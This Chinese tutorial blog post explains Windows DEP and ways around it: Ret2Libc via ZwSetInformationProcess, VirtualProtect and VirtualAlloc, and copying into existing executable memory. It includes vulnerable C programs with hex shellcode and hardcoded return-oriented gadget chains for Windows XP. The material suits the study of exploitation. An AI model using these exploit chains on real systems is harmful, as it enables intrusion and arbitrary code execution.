漏洞利用原理(高级)

DEP机制的保护原理

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU会抛出异常。

DEP按实现机制的不同,分为:

  • 软件DEP
    软件DEP其实就是SafeSEH。
  • 硬件DEP
    硬件DEP才是真正的DEP,需要CPU支持,AMD的NX和Intel的XD。实现是在内存的页面表(Page Table)中加入一个特殊的标志位(NX/XD)来标识是否允许在该页面上执行指令。

DEP的工作状态

  • Optin:默认仅将DEP保护应用于Windows系统组件和服务,这种模式可以被应用程序动态关闭,多用于普通用户版的操作系统
  • Optout:为排除列表程序外的所有程序和服务启动DEP,这种模式可以被应用程序动态关闭,多用于服务器版的操作系统
  • AlwaysOn:对所有进程启用DEP,这种情况下DEP不可被关闭,目前只有64位操作系统工作在此模式
  • AlwaysOff:对所有进程都禁用DEP,这种情况下DEP不可被开启,只有在特殊场合才会使用

程序链接选项/NXCOMPAT:使用此选项的程序在Windows vista及后续版本会自动启用DEP保护。

利用Ret2Libc挑战DEP

Ret2Libc的整体攻击流程:
在这里插入图片描述
比较有效的三种攻击方法是:

  • 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行
  • 通过跳转到VirtualPretect函数将shellcode所在内存页面设置为可执行状态,再转入shellcode执行
  • 通过跳转到VIrtualAlloc函数开辟出一段具有执行权限的内存控件,然后将shellcode复制到其中

Ret2Libc实战之利用ZwSetInformationProcess

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,可通过API函数ZwQueryInformationProcessZwSetInformationProcess进行查询和修改

_KEXECUTE_OPTIONS的结构:

_KEXECUTE_OPTIONS
Pos0ExecuteDisable:1 bit                    //DEP开启时被设置为1
Pos1ExecuteEnable:1 bit                     //DEP关闭时被设置为1
Pos2DisableThunkEmulation:1 bit             //兼容ATL程序设置的
Pos3Permanent:1 bit                         //设置为1后,表示这些标志均不能修改
Pos4ExecuteDispatchEnable:1 bit
Pos5ImageDispatchEnable:1 bit
Pos6Spare:2 bit

ZwSetInformationProcess函数:

ZwSetInformationProcess(
	IN HANDLE ProcessHandle,                         //进程句柄,-1为当前进程
	IN PROCESS_INFORMATION_CLASS ProcessInformationClass,      //信息类
	IN PVOID ProcessInformation,                     //可以用来设置_KEXECUTE_OPTIONS
	IN ULONG ProcessInformationLength                //第三个参数的长度
);

关闭DEP的参数设置:

ULONG ExecuteFlags=MEN_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
	NtCurrentProcess(),
	ProcessExecuteFlags,
	&ExecuteFlags,
	sizeof(ExecuteFlags)
);

微软的兼容性导致:如果一个进程的Permanent位没有设置,当它加载DLL时,系统会对这个DLL进行DEP兼容性检测,当存在兼容性问题时就会关闭DEP

为兼容设置了LdrpCheckNXCompatibility函数,进程DEP被关闭的条件:

  • 当DLL受SafeDisc版权保护系统保护时
  • 当DLL包含有.aspcak.pcle.sforce等字节时
  • Windows Vista下,当DLL包含在注册表“HKET_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下,不需要启动DEP模块

这里尝试第一种情况,Windows XP下LdrpCheckNXCompatibility关闭DEP的流程,以SafeDisc为例:
在这里插入图片描述
可以通过OllyFindAddr的Disable DEP–>Disable DEP<=XP SP3来搜索关闭DEP的起始地址。

示例代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"//会跳指令
"\xFF\x90\x90\x90"
;
void test()
{
	char tt[176];
	strcpy(tt,shellcode);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

我们先使用0x90填充shellcode,获取相关信息,首先可以找到DEP关闭的起始地址:
在这里插入图片描述
在进入DEP关闭地址之前,要先将AL修改为1,需要找到类似MOV AL,1 RETN的指令:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
需要188个字节,然后将0x7C92E252覆盖返回地址,会后拼接关闭DEP的地址,但是返回到EBP+4处:
在这里插入图片描述
但是此时ESP低于EBP,所以需要进一步调整:

  • 减小ESP
  • 增大EBP
  • 增大ESP到安全地址

这里选择第三种办法,增大ESP后需要跳转到ESP,然后再关闭DEP,关闭后加上回跳函数开始执行shellcode。

Ret2Libc实战之利用VirtualProtect

VirtualProtect位于kernel32.dll中,通过该函数用户可以指定内存的属性,包括是否可以执行

VirtualProtect函数:

BOOL VirtualProtect(
	LPVOID lpAddress,            //要改变属性的内存起始地址
	DWORD dwSize,                //要改变属性的内存区域大小
	DWORD flNewProtect,          //内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该存储页为可读可写可执行
	PDWORD lpflOldProtect        //内存原始属性类型保存地址
);

在这里插入图片描述

按照如下布置,就可将shellcode所在内存设置为可执行模式:

BOOL VirtualProtect(
	shellcode起始位置,
	shellcode大小,
	0x40,
	某个可写地址
);

示例代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0A\x1A\xBF\x7C"//pop pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP
"\x8B\x17\x84\x7C"//RETN
"\x90\x90\x90\x90"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xBF\x7D\xC9\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE8\x1F\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,420);    //参数中包含00,strcpy在复制时会截断,改为攻击memcpy
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

Ret2Libc实战之利用VirtualAlloc

VirtualAlloc函数用来申请一段具有可执行属性的内存,可以将Ret2Libc的第一跳设置为VirtualAlloc的地址,然后将shellcode复制到申请的内存空间。

VirtualAlloc函数:

LPVOID WINAPI VirtualAlloc(
	__in_opt LPVOID lpAddress,             //申请内存区域的地址,可为NULL
	__in SIZE_T dwSize,                    //申请内存区域的大小
	__in DWORD flAllocationType,           //申请内存的类型
	__in DWORD flProtect                   //申请内存的访问控制类型
);

申请成功返回申请内存的起始地址,申请失败返回NULL
在这里插入图片描述
示例代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

首先通过PUSH ESP POP EBP RETN 4修复EBP,然后调用VirtualAllocEX函数,然后就是向这个位置写入shellcode,有几点需要注意:

  • memcpy的参数需要确定源内存起始地址,可使用PUSH ESP JMP EAX来填充
  • EBP会被设置为00000000,需要重新修复EBP
  • VirtualAlloc函数返回时带16个字节的偏移

memcpy需要可执行内存空间、源shellcode起始地址以及长度,其中源内存地址参数位于EBP+0x0C

利用可执行内存挑战DEP

有时候进程的内存空间中会存在一段可读可写可执行的程序,将shellcode复制到这段内存,就有执行的机会。

示例代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\x5F\x78\xA6\x7C"//pop retn
"\x08\x00\x14\x00"//弹出对机器码在可执行空间的起始地址,转入执行用
"\x00\x00\x14\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}
参考文献

《0day安全:软件漏洞分析技术》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值